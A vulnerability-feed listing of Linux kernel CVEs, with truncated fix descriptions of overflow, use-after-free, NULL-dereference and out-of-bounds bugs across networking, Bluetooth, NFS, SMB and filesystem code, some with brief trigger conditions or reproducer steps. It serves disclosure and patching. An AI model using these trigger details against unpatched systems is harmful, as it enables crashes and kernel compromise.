CVE-2026-90069	New						In the Linux kernel, the following vulnerability has been resolved: crypto: acomp - allocate async request context when cloning ACOMP_REQUEST_ON_STACK() reserves only enough storage for the synchronous fallback. When an async implementation is selected, callers clone that stack request before retrying, but acomp_request_clone() currently copies only the stack-sized object....
CVE-2026-90070	New						In the Linux kernel, the following vulnerability has been resolved: tpm: st33zp24: Return zero on status read failure st33zp24_status() ignores the result of the transport read and returns data even when no byte was received. The I2C transport, for example, skips i2c_master_recv() when the register-select write is short or fails, leaving data uninitialized. The resulting s...
CVE-2026-90071	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_teql: restore skb->dev on the slave failure path teql_master_xmit() sets skb->dev = slave before calling the slave's ndo_start_xmit(), but never restores it when that transmit fails. The skb then walks on to the next slave still pointing at the previous one. If a later slave has no resolved...
CVE-2026-90072	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: sfq: clamp quantum to avoid signed overflow soft lockup sfq_init() sets q->quantum = psched_mtu(qdisc_dev(sch)) (unsigned). A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000, so slot->allot = INT_MIN and INT_MIN + INT_MIN toggle...
CVE-2026-90073	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: hhf: clamp quantum before hhf_change() to avoid overflow hhf_init() sets q->quantum = psched_mtu(qdisc_dev(sch)) with no overflow check. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes weight * quantum overflow the signed deficit in hhf_dequeue(), spinning ...
CVE-2026-90074	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: fq_pie: clamp default quantum to avoid signed overflow fq_pie_init() sets q->quantum = psched_mtu(qdisc_dev(sch)) without clamping. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000, which overflows the signed flow->deficit to l...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90075	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: fq_codel: clamp default quantum and mtu fq_codel_init() sets q->quantum = psched_mtu(qdisc_dev(sch)) without clamping. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000, which overflows the signed flow->deficit to INT_MIN in fq_...
CVE-2026-90076	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: fq: add overflow bounds to quantum and initial quantum fq_init() computes quantum = 2 * psched_mtu() and initial_quantum = 10 * psched_mtu() with no overflow check. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000; the 2 * and ...
CVE-2026-90077	New						In the Linux kernel, the following vulnerability has been resolved: net: fix a resource leak in copy_net_ns() error handling path Currently, preinit_net() does two things: (1) call ns_common_init() which might fail (2) initialize resources which does not fail However, preinit_net() is returning early when (1) fails, and copy_net_ns() is jumping to the dec_ucounts: la...
CVE-2026-90078	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: act_skbmod: fix length calculations and avoid invalid header warnings syzbot reported a warning in skb_network_header_len() triggered by tcf_skbmod_act(): !skb_transport_header_was_set(skb) WARNING: CPU: 0 PID: 14949 at include/linux/skbuff.h:3243 skb_network_header_len include/linux/skbuff...
CVE-2026-90079	New						In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: fix cn20k mailbox lifetime on repeated rvu_mbox_init() rvu_mbox_init() is called separately for AF-PF mailboxes during probe and for AF-VF mailboxes when SR-IOV is enabled. Each call used to allocate a new ng_rvu object, leaking the first allocation when the pointer was overwritten on the se...
CVE-2026-90080	New						In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: fix NULL deref of af_xdp_zc_qidx on rep setup af_xdp_zc_qidx tracks receive queues using AF_XDP zero-copy and is allocated during PF/VF probe. Representors and other non-AF_XDP paths leave the pointer NULL, but several call sites used test_bit() on it unconditionally. Switching to devlink es...
CVE-2026-90081	New						In the Linux kernel, the following vulnerability has been resolved: net/rds: use wq_has_sleeper() in rds_cong_map_updated() rds_cong_map_updated() runs after a peer's congestion map has been rewritten (by rds_tcp_cong_rcv() and rds_ib_cong_rcv(), or the clear-all in the loopback and IB send-completion paths). It bumps rds_cong_generation and then checks waitqueue_active...
CVE-2026-90082	New						In the Linux kernel, the following vulnerability has been resolved: net: mana: Cap MSI-X vectors to the device MSI-X table size mana_gd_query_max_resources() sizes gc->num_msix_usable from resp.max_msix and the CPU count, but never from the device MSI-X table. On a 1792 vCPU M-series VM that yields 1793 while the table has 1024 entries, and mana_gd_setup_remaining_irqs() t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90083	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: act_ife: Only operate on Ethernet frames act_ife encapsulates/decapsulates the original Ethernet header and uses skb->dev->hard_header_len as the length of that header. That is only correct for Ethernet devices: on a device where hard_header_len does not match the L2 header that was actually pul...
CVE-2026-90084	New						In the Linux kernel, the following vulnerability has been resolved: octeontx2-vf: fix workqueue and netdev race in probe/remove Initialize the VF workqueue before register_netdev() so ndo_set_rx_mode does not queue work on a NULL workqueue. Unregister the netdev before destroying the workqueue, and add proper probe error cleanup.
CVE-2026-90085	New						In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: fix NULL deref in NIX TM tree debugfs read path rvu_dbg_nix_tm_tree_display() dereferences pfvf->sq_ctx without checking whether the SQ context has been allocated. Reading /sys/kernel/debug/octeontx2/nix/tm_tree for a NIX LF whose transmit queues are not set up triggers a kernel oops. Guard ...
CVE-2026-90086	New						In the Linux kernel, the following vulnerability has been resolved: xsk: honor XDP_TX_METADATA in zero-copy path The zero-copy path reads TX metadata whenever the UMEM has metadata space, even if the descriptor does not set XDP_TX_METADATA. Pass descriptor options through the metadata helpers and ignore metadata unless the option is set. This does not fix the existing per...
CVE-2026-90087	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: do not leak an hci_conn when a second LE connect is rejected create_le_conn_complete() decides whether the failed connection is still pending by comparing it against hci_lookup_le_connect(), which returns the first LE connection in BT_CONNECT. That is the same connection only while at most one i...
CVE-2026-90088	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: Validate MTU in rfcomm_apply_pn() to prevent infinite loop rfcomm_apply_pn() accepts the MTU value from a remote PN (Parameter Negotiation) frame without checking for zero. When the remote peer sends an MTU of zero, d->mtu is set to 0. This causes the sendmsg path to enter an infinite lo...
CVE-2026-90089	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: bttnxpuart: Validate the FW dump header length nxp_process_fw_dump() pulls the ACL header off the frame and then reads seq_num and buf_len from a struct nxp_fw_dump_hdr placed at skb->data, without checking that the ACL payload is long enough to contain it. h4_recv_buf() collects HCI_ACL_HDR_SIZ...
CVE-2026-90090	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btmtdsio: Fix out-of-bounds DMA read in the TX path btmtdsio_tx_packet() rounds the transfer size up to the SDIO block size of 256 bytes, but hands the host controller the SKB buffer as is: err = sdio_writesb(bdev->func, MTK_REG_CTDR, skb->data, round_up(skb->len, MTK_SDIO_BLOCK_SIZE))...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90091	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: fix race l2cap_sock_cleanup_listen() vs. put_chan For L2CAP sockets without owning sk->sk_socket, reading l2cap_pi(sk)->chan may race against concurrent l2cap_sock_kill() -> l2cap_sock_put_chan(). This excludes simultaneous proto_ops callbacks, but access in l2cap_sock_cleanup_listen() h...
CVE-2026-90092	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: reject accept queue add unless BT_LISTEN New sk should not be added to parent socket accept queue after last l2cap_sock_cleanup_listen() has run in l2cap_sock_teardown_cb() and state set to BT_CLOSED, as that can result to UAF on dereferencing the dangling parent reference. l2cap_sock_ne...
CVE-2026-90093	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: access chan->conn safely in get/setsockopt Since commit b66774b48dd9 ("Bluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref") l2cap_chan::conn has held reference and remains non-NULL also after the corresponding hci_conn is deleted. In this state accessing various fields eg. ...
CVE-2026-90094	New						In the Linux kernel, the following vulnerability has been resolved: arm64: process: Fix context switching MTE store-only tag check SCTLR_EL1.TCSO0 is set when user opt-in for MTE store-only tag check mode. However, it is not part of SCTLR_USER_MASK which imply that on context switch we never clear SCTLR_EL1.TCSO0, so we are leaking that setting into another task. Fix that...
CVE-2026-90095	New						In the Linux kernel, the following vulnerability has been resolved: fuse: Fix the condition to enable over-io-uring The existing condition in fuse_uring_cmd() is there only to avoid disabling io-uring for connections that already run with it, missing was a condition to refuse any IORING_OP_URING_CMD if the connection/channel didn't get enabled because of missing FUSE_INIT ...
CVE-2026-90096	New						In the Linux kernel, the following vulnerability has been resolved: fuse: invalidate the correct range after O_APPEND direct write fuse_direct_write_iter() captures pos before generic_write_checks(), which moves ki_pos to EOF for O_APPEND writes: fuse_direct_write_iter() { pos = iocb->ki_pos; /* 0 (user-supplied) */ generic_write_checks(); ...
CVE-2026-90097	New						In the Linux kernel, the following vulnerability has been resolved: Drivers: hv: vmbus: Skip VMBus module cleanup for non-nested root partition The VMBus module initialization function, hv_acpi_init(), currently does nothing when running in the root partition and root is not nested in another VM. But the initialization function reports success, so the VMBus module is indee...
CVE-2026-90098	New						In the Linux kernel, the following vulnerability has been resolved: net: sparx5: fix sleep in atomic context in MAC table access sparx5_set_rx_mode() runs with netif_addr_lock_bh held and iterates dev->mc via __dev_mc_sync(), which per address calls sparx5_mc_sync() / sparx5_mc_unsync() -> sparx5_mact_learn() / sparx5_mact_forget(). These take sparx5->lock, a mutex, and t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90099	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: account classifier filter allocations to memcg Allocations in the tc classifier *_change() paths (filter objects, per-CPU counters, and per-filter aux data) use plain GFP_KERNEL without __GFP_ACCOUNT, allowing unprivileged users to pin kernel memory outside memcg charging. The shared tcf_exts_in...
CVE-2026-90100	New						In the Linux kernel, the following vulnerability has been resolved: ptp: netc: fix period truncation and potential divide-by-zero in PEROUT The max_period bound in net_timer_enable_perout() was computed as: max_period = (u64)NETC_TMR_DEFAULT_FIPER + integral_period; which exceeds U32_MAX when integral_period > 0 (e.g. 0x100000002 for the default 333333333 Hz clock). A ...
CVE-2026-90101	New						In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Fix call to hardware monitoring event handler The first parameter of hwmon_notify_event() is supposed to be the hardware monitoring device. The bnxt driver calls it with the platform device as first parameter instead. This API break results in undefined behavior and may result in a crash. Pass th...
CVE-2026-90102	New						In the Linux kernel, the following vulnerability has been resolved: NFSv4/pnfs: key the data server cache on the NFS version nfs4_pnfs_ds_add() keys the per-net data server cache on the multipath address set alone, and struct nfs4_pnfs_ds records no version. That suffices for the files layout driver, which always connects with version 4, but flexfiles takes its version tup...
CVE-2026-90103	New						In the Linux kernel, the following vulnerability has been resolved: NFSv4.2: fix LAYOUTSTATS send buffer exhaustion encode_layoutstats_maxsz budgets XDR_QUADLEN(PNFS_LAYOUTSTATS_MAXSIZE), i.e. 256 bytes, for the layoutupdate4 body written by the layout driver. The flexfiles record can exceed that. ff_layout_encode_ff_layoutupdate() emits, per data server, a netaddr4, an n...
CVE-2026-90104	New						In the Linux kernel, the following vulnerability has been resolved: NFSv4.1: zero referring call lists before decoding decode_cb_sequence_args() allocates csa_rclists with kmalloc_objs(), so each referring_call_list starts uninitialized. decode_rc_list() assigns rcl_refcalls only when rcl_nrefcalls is nonzero. A valid list with zero referring calls therefore leaves the poi...
CVE-2026-90105	New						In the Linux kernel, the following vulnerability has been resolved: vxlan: fix reading neigh ha Currently arp/neigh_reduce read neigh ha directly which can lead to partial reads while the neigh is being updated. Use neigh_ha_snapshot to take a stable snapshot of the address similar to route_shortcircuit which already does the right thing.
CVE-2026-90106	New						In the Linux kernel, the following vulnerability has been resolved: net: bridge: arp/nd proxy: fix reading neigh ha Currently neigh ha address is read directly, but that can result in torn/partial reads if the neigh is being updated. Use neigh_ha_snapshot to take a stable snapshot of the address.
CVE-2026-90107	New						In the Linux kernel, the following vulnerability has been resolved: net/smc: free pending qentry in smc_llc_flow_stop() before memset smc_llc_flow_stop() resets a flow struct with a blind memset: spin_lock_bh(&lgr->llc_flow_lock); memset(flow, 0, sizeof(*flow)); flow->type = SMC_LLC_FLOW_NONE; spin_unlock_bh(&lgr->llc_flow_lock); If flow->qentry is non-NULL at this p...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90108	New						In the Linux kernel, the following vulnerability has been resolved: net/smc: free stashed gentry before overwrite in REQ_ADD_LINK to ADD_LINK transition When smc_llc_event_handler() transitions the local LLC flow from SMC_LLC_FLOW_REQ_ADD_LINK to SMC_LLC_FLOW_ADD_LINK on arrival of an ADD_LINK request, it calls smc_llc_flow_gentry_set() unconditionally: if (lgr->llc_flow...
CVE-2026-90109	New						In the Linux kernel, the following vulnerability has been resolved: net: sched: fix 32-bit backlog wrap in gred, bfifo and plug enqueue gred_enqueue(), bfifo_enqueue() and plug_enqueue() admit a packet when the current backlog plus the packet length fits within the queue limit: sch->qstats.backlog + qdisc_pkt_len(skb) <= sch->limit (gred default VQ) gred_backlog+qdisc...
CVE-2026-90110	New						In the Linux kernel, the following vulnerability has been resolved: inetpeer: randomize RB-tree node comparison using SipHash The inetpeer rate limiting system stores peer entries in a Red-Black tree keyed deterministically on the remote IP address. Because tree lookups walk the RB-tree using standard lexicographical comparisons (inetpeer_addr_cmp), an off-path adversary c...
CVE-2026-90111	New						In the Linux kernel, the following vulnerability has been resolved: ip6mr: do not clone dst in ip6mr_cache_report() IPv6 input attaches a non-refcounted (NOREF) dst to skbs under RCU. When an ingress multicast packet misses MFC lookup, ip6mr_cache_unresolved() places the skb onto the unresolved queue, escaping the receive-side RCU grace period. If the underlying route is ...
CVE-2026-90112	New						In the Linux kernel, the following vulnerability has been resolved: net: qlcnic: validate unified ROM sections before loading The unified ROM parser reads directory, product, and data-descriptor fields from the firmware file. Existing validation forms table and data ends with unchecked additions and multiplications. Malformed values can wrap before they are compared with...
CVE-2026-90113	New						In the Linux kernel, the following vulnerability has been resolved: netdevsim: update queue NAPI association on queue reset In netdevsim, receive queues (struct nsim_rq) embed their own struct napi_struct. When queue reset is performed (e.g. via queue_reset debugfs), nsim_queue_start() swaps in a newly allocated struct nsim_rq, and nsim_queue_mem_free() later deletes and f...
CVE-2026-90114	New						In the Linux kernel, the following vulnerability has been resolved: net: bridge: Reject descending VLAN tunnel ranges A pair of descending VLAN and tunnel IDs can pass the tunnel range span check. The VLAN subtraction produces a negative int, which is converted to unsigned when compared with the u32 tunnel ID subtraction. It can therefore equal the wrapped tunnel ID delta....
CVE-2026-90115	New						In the Linux kernel, the following vulnerability has been resolved: xsk: fix NULL pointer dereference in __xsk_rcv() In the __xsk_rcv() multi-buffer path, xsk_buff_alloc() is called in a loop without checking its return value. xsk_buff_can_alloc() only counts fill queue entries without validating their addresses, so it can succeed while xsk_buff_alloc() rejects all remaini...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90116	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: mtpav: shut down output timer before card teardown snd_mtpav_output_timer() rearms chip->timer while holding chip->spinlock and accesses the card-private mtpav state. snd_mtpav_free() currently takes the same lock and calls timer_delete() when the timer is active. This only removes a pending timer; ...
CVE-2026-90117	New						In the Linux kernel, the following vulnerability has been resolved: ntfs: validate usa_ofs before preserving the update sequence number When ntfs_mft_record_alloc() reuses a free mft record it reads the old update sequence number straight from the on-disk record: usn = *(__le16 *)((u8 *)m + le16_to_cpu(m->usa_ofs)); Here m points into the raw \$MFT page-cache folio, ...
CVE-2026-90118	New						In the Linux kernel, the following vulnerability has been resolved: ntfs: fix off-by-one page overflow in ntfs_decompress() The per-token range check in ntfs_decompress() uses if (cb >= cb_sb_end dp_addr > dp_sb_end) break; so dp_addr == dp_sb_end falls through to the symbol copy `dp_addr++ = *cb++`, writing one byte past the destination page. Since NTFS_SB_SIZE ...
CVE-2026-90119	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: ice1712: Fix the card leak at probe error with the auto-cleanup snd_ice1712_probe() performs multiple initialization steps after snd_card_new(), but directly returns on failures from later steps without releasing the ALSA card, causing resource leaks when probing fails. Use snd_devm_card_new() toget...
CVE-2026-90120	New						In the Linux kernel, the following vulnerability has been resolved: irqchip/gic-v5: Check get_logical_index() return value in MADT IAFFID parsing In gic_acpi_parse_iaffid() a given MADT GICC entry might not correspond to a logical cpu recognized by the kernel, resulting in the cpu variable initialization to an error value. Currently, the get_logical_index() return value i...
CVE-2026-90121	New						In the Linux kernel, the following vulnerability has been resolved: irqchip/gic-v5: Clear per-CPU IRS data on teardown IRS affinity setup publishes an IRS pointer and IAFFID state in the per-CPU data before the remaining IRS initialization can fail. The error path then frees the IRS data without clearing that published state, leaving CPUs associated with freed memory. On ...
CVE-2026-90122	New						In the Linux kernel, the following vulnerability has been resolved: clk: visconti: Make sure clk_init_data is fully initialized The clk_init_data structure contains several mutually-exclusive members for different methods to specify the possible parents of a clock, prompting drivers to initialize only the members they need. However, not initializing all members may cause ...
CVE-2026-90123	New						In the Linux kernel, the following vulnerability has been resolved: irqchip/ast2700-intc: Avoid allocating in the irq_domain activate() callback The interrupt core calls the irq_domain_activate() callback from __setup_irq() with desc->lock held and interrupts disabled. Both aspeed_intc1_irq_domain_activate() and aspeed_intc0_resolve_route() test a compatible string with fw...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90124	New						In the Linux kernel, the following vulnerability has been resolved: irqchip/renesas-rzg2l: Fix loss of interrupt rzg2l_clear_irq_int() and rzg2l_clear_tint_int() perform a read-modify-write on the ISCR/TSCR status registers to clear the bit for the interrupt just handled. Since these registers are write-0-to-clear per bit, this is racy: If another interrupt's status bit g...
CVE-2026-90125	New						In the Linux kernel, the following vulnerability has been resolved: smb: client: fix request buffer leak in smb2_new_read_req() smb2_new_read_req() allocates the request buffer with smb2_plain_req_init() but only publishes it to the caller with *buf = req at the very end of the function. Two error returns sit in between: rc = smb2_plain_req_init(SMB2_READ, io_parms->tcon...
CVE-2026-90126	New						In the Linux kernel, the following vulnerability has been resolved: rtc: pcf8563: fix clock provider leak on unbind pcf8563_clkout_register_clk() registers the CLKOUT clock provider with of_clk_add_provider(), but nothing ever unwinds it: there is no of_clk_del_provider() call and the driver has no remove callback. Each of_clk_add_provider() allocates a struct of_clk_provi...
CVE-2026-90127	New						In the Linux kernel, the following vulnerability has been resolved: virtio: rtc: time out alarm requests RTC class operations run with rtc_device.ops_lock held. The virtio RTC alarm requests currently wait without a timeout for the device to return their requestq buffers. On surprise removal, virtio-pci marks the virtqueues broken before unregistering the virtio device. I...
CVE-2026-90128	New						In the Linux kernel, the following vulnerability has been resolved: vdpa/mlx5: fix wrong list iterated in add_direct_chain error path In add_direct_chain(), newly allocated direct MR entries are added to the local list 'tmp', which is spliced into mr->head only on success. On the error path, the cleanup loop was incorrectly iterating over mr->head instead of tmp. Fix by i...
CVE-2026-90129	New						In the Linux kernel, the following vulnerability has been resolved: virtio_balloon: quiesce balloon work before device shutdown Commit 8bd2fa086a04 ("virtio: break and reset virtio devices on device_shutdown()") added a generic virtio bus .shutdown handler that breaks and resets every virtio device during device_shutdown(), i.e. on reboot and kexec. virtio_balloon provide...
CVE-2026-90130	New						In the Linux kernel, the following vulnerability has been resolved: vdpa_sim: fix cleanup after worker creation failure vdpasim_create() leaves vdpasim->worker as an ERR_PTR when kthread_run_worker() fails. The error path then drops the device reference, which releases the partially initialized simulator. vdpasim_free() unconditionally passes the worker pointer to kthread...
CVE-2026-90131	New						In the Linux kernel, the following vulnerability has been resolved: ntfs: serialize resident iomap reads with mrec_lock ntfs_read_iomap_begin_resident() walks the MFT record through ntfs_attr_lookup() -> ntfs_attr_find() without taking ni->mrec_lock, while ntfs_attr_record_resize(), ntfs_make_room_for_attr() and ntfs_resident_attr_record_add() memmove() the same base_ni->m...
CVE-2026-90132	New						In the Linux kernel, the following vulnerability has been resolved: ntfs: reject unprivileged writes to reserved \$LX* xattrs Reject setxattr of the reserved \$LXUID, \$LXGID, \$LXMOD and \$LXDEV names from userspace unless the caller has CAP_SYS_ADMIN.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90133	New						In the Linux kernel, the following vulnerability has been resolved: ntfs: Fix index_root heap OOB write in ntfs_ir_to_ib() ntfs_ir_to_ib copies all entries from index_root into a freshly allocated index_block_size-byte buffer without verifying that the entries fit in the available space. The entries in index_root may be larger than the usable entry space in the index block...
CVE-2026-90134	New						In the Linux kernel, the following vulnerability has been resolved: ntfs: fix kmap_local_page() usage in compress Several compressed I/O paths discard the address returned by kmap_local_page() and later access or unmap the page using page_address(). This is invalid for highmem pages, and local mappings must also be unmapped using the address returned by kmap_local_page(). ...
CVE-2026-90135	New						In the Linux kernel, the following vulnerability has been resolved: net: add missing ref_tracker_dir_exit() to alloc_netdev_mqs() sashiko is reporting that trying to read /sys/kernel/debug/ref_tracker/* causes use-after-free crash when either alloc_percpu() or dev_addr_init() in alloc_netdev_mqs() failed, for commit 4d92b95ff2f9 ("net: add net device refcount tracker infras...
CVE-2026-90136	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/hsmmp: Reject negative power cap writes in hwmon hsmmp_hwmon_write() takes the user-supplied hwmon value as a signed long and assigns "val / MICROWATT_PER_MILLIWATT" to msg.args[0], which is a __u32. MICROWATT_PER_MILLIWATT is an unsigned long, so a negative write to power1_cap (e.g. "echo ...
CVE-2026-90137	New						In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix password encoding bounds check The password PSWD_ENCODINGS parser reads password_obj[elem + pos_values] while copying the supported password encodings from the ACPI package. The outer loop only guarantees that elem is within password_obj_count. The encoding count is bounded b...
CVE-2026-90138	New						In the Linux kernel, the following vulnerability has been resolved: vsock: don't check the listener's sk_err in vsock_accept() Syzbot reported an issue which can be reproduced with these steps: r0 = socket(AF_VSOCK, SOCK_STREAM, 0) bind(r0, {VMADDR_CID_ANY, PORT}) connect(r0, {VMADDR_CID_LOCAL, PORT}) -> -1, EPROTO (self-connect) listen(r0, backlog) -...
CVE-2026-90139	New						In the Linux kernel, the following vulnerability has been resolved: fuse: check for NULL root inode in fuse_fill_super_submount fuse_iget() can return NULL when its inode allocation fails, but fuse_fill_super_submount() passed the result straight to get_fuse_inode() and decremented fi->nlookup without checking it: root = fuse_iget(sb, parent_fi->nodeid, ...); ...
CVE-2026-90140	New						In the Linux kernel, the following vulnerability has been resolved: cuse: wait for pending RCU callbacks on module exit Since commit 053fc4f755ad ("fuse: fix UAF in rcu pathwalks"), fuse_conn_put() frees the fuse_conn through call_rcu() rather than synchronously. For cuse, fc->release is cuse_fc_release(), which lives in the cuse module. If the module is removed before t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90141	New						In the Linux kernel, the following vulnerability has been resolved: ipv6: fix integer overflow in ftp helper port/address parsing ip_vs_ftp_get_addrport() accumulates decimal digits into a __u16 (hport) and into unsigned char (p[]) without checking for overflow. A crafted FTP PASV/EPSV response with an over-long port or address octet wraps the value, so the helper configur...
CVE-2026-90142	New						In the Linux kernel, the following vulnerability has been resolved: virtio_net: Fix resize of the RX ring When a AF_XDP socket is attached, the virtnet_rx_resize should resize the rq->xsk_buffs XSK buffer array. Otherwise, when the size grows, the virtnet_rx_resume() causes a write past the end of the array. This is easily reproducible with ethtool -G ens3 rx 32
CVE-2026-90143	New						In the Linux kernel, the following vulnerability has been resolved: net: kcm: Hold RCU read lock while running BPF parser kcm_parse_func_strparser() calls bpf_prog_run_pin_on_cpu() which prevents CPU migration, but does not establish an RCU read-side critical section. Consequently, BPF map operations can trigger WARN_ON_ONCE(!bpf_rcu_lock_held()) when called from the KCM s...
CVE-2026-90144	New						In the Linux kernel, the following vulnerability has been resolved: dppl: fix NULL deref in dppl_device_ops() during teardown race When the last owner of a dppl device unregisters while a foreign driver still holds a pin on it via dppl_pin_on_pin_register(), the dppl object stays alive with an empty registration list. A pin notification queued before the unregister (e.g. i...
CVE-2026-90145	New						In the Linux kernel, the following vulnerability has been resolved: hinic3: Fix skb linearization mismatch and drop skb when skb_checksum_help() failed Previously, hinic3_send_one_skb() cached the skb fragment count before calling hinic3_tx_offload(). If hinic3_tx_csum() falls back to skb_checksum_help() for unsupported tunnel packets, the skb may be linearized. Continuing...
CVE-2026-90146	New						In the Linux kernel, the following vulnerability has been resolved: bpf, xdp: move offload check into dev_xdp_install() bpf_xdp_link_update() calls dev_xdp_install() directly and skips dev_xdp_attach(), so the checks in dev_xdp_attach() do not run. A user can make an XDP link with a normal program and then swap in an offloaded or device-bound program with BPF_LINK_UPDATE, ...
CVE-2026-90147	New						In the Linux kernel, the following vulnerability has been resolved: clk: devres: fix cleanup in devm_clk_get_optional_enabled_with_rate() devm_clk_get_optional_enabled_with_rate() registers its cleanup action before setting the clock rate. If setting the rate fails, it attempts to disable and unprepare a clock that was never enabled. This issue was spotted while reviewing ...
CVE-2026-90148	New						In the Linux kernel, the following vulnerability has been resolved: NFSv4: Fix incorrect argument passed to nfs4_delete_lease() in nfs4_add_lease() When nfs4_add_lease() races with a delegation return, it calls nfs4_delete_lease() to clean up. Previously, it passed priv, which can legitimately be NULL. Passing a NULL priv eventually leads to a NULL pointer dereference in g...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90149	New						In the Linux kernel, the following vulnerability has been resolved: NFSv4/flexfiles: fix NULL dereference for NFSv4.0 data servers flexfiles accepts NFSv4.0 data servers, but two NFSv4 code paths assume the data server client has a session. Unlike NFSv4.1+, an NFSv4.0 client has no session (clp->cl_session is NULL; it uses clp->cl_slot_tbl), so I/O to a v4.0 flexfiles DS o...
CVE-2026-90150	New						In the Linux kernel, the following vulnerability has been resolved: pnfs/blocklayout: Fix device leaks on parse failure bl_parse_concat() and bl_parse_stripe() allocate a child device array and then parse each child in turn. If parsing a child fails, the failed child is not counted in nr_children and the parent may be left with a children array that bl_free_device() will ...
CVE-2026-90151	New						In the Linux kernel, the following vulnerability has been resolved: NFSv4: remove callback IDR entry on client allocation failure nfs4_alloc_client() allocates an NFSv4.0 callback identifier before it finishes setting up the client. If any later initialization step fails, the error path frees the nfs_client directly with nfs_free_client(). That bypasses nfs_put_client(), w...
CVE-2026-90152	New						In the Linux kernel, the following vulnerability has been resolved: smb/server: fix session leak in ksmbd_session_register() See the procedure below: smb2_sess_setup ksmbd_smb2_session_create __session_create atomic_set(&sess->refcnt, 2) hash_add(sessions_table, &sess->hlist, sess->id) ksmbd_session_register xa_store(&conn->sessions, ...
CVE-2026-90153	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: bound smb_check_perm_dacl() ACE walks by DACL size smb_check_perm_dacl() validates that the DACL fits inside the NT security descriptor, but then bounds its two ACE walks by the remaining NTSD length (acl_size) rather than the DACL's declared size (pdac1_size). When pdac1->size is smaller than the ...
CVE-2026-90154	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: scope session state changes to bound connections ksmbd_all_conn_set_status() treats every connection whose transient binding flag is set as belonging to the target SessionId. A logoff or session replacement can consequently move an unrelated connection to NEED_RECONNECT or NEED_SETUP. Pass the tar...
CVE-2026-90155	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: detach blocked lock requests before freeing A file_lock retained by ksmbd for byte-range lock bookkeeping can still be part of the VFS blocked-request graph. In particular, the VFS can chain a new waiter below an already blocked request through flc_blocked_requests. The ksmbd_file reference count do...
CVE-2026-90156	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: safely discard unregistered deferred locks When vfs_lock_file() defers a lock, smb2_lock() puts its ksmbd_lock on rollback_list before allocating and registering the asynchronous work. If either operation fails, rollback assumes that smb_lock->conn is initialized and dereferences NULL. The deferred ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90157	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject negative optlen in cgroup getsockopt hook A cgroup getsockopt BPF program can shrink ctx->optlen after the kernel getsockopt handler has run. The kernel-buffer variant, used by TCP_ZEROCOPY_RECEIVE, only rejects values larger than the original length. If BPF writes a negative optlen, that valu...
CVE-2026-90158	New						In the Linux kernel, the following vulnerability has been resolved: m68k: nfcon: Do not call console_is_registered() in nfcon_device() Since 7c2af0f634f1 ("tty: tty_io: use console_list_lock for list synchronization") show_cons_active() calls the .device() method under the console_list_lock, but console_is_registered() tries to acquire console_list_lock as well, causing a ...
CVE-2026-90159	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow bpf_{g,s}etsockopt() in cgroup UNIX getname hooks _bpf_setsockopt() and _bpf_getsockopt() call sock_owned_by_me() for full sockets, so these helpers expect the socket lock to be held. BPF_CGROUP_UNIX_GETPEERNAME and BPF_CGROUP_UNIX_GETSOCKNAME run BPF programs without acquiring the socket lo...
CVE-2026-90160	New						In the Linux kernel, the following vulnerability has been resolved: lwt_bpf: Restore reserved headroom after xmit program ip_finish_output2() expands an skb to LL_RESERVED_SPACE(dev) before LWT xmit. An LWT_XMIT BPF program can then modify the skb head and still return BPF_OK, so bpf_xmit() rechecks the remaining headroom before the skb continues to neighbour output. That...
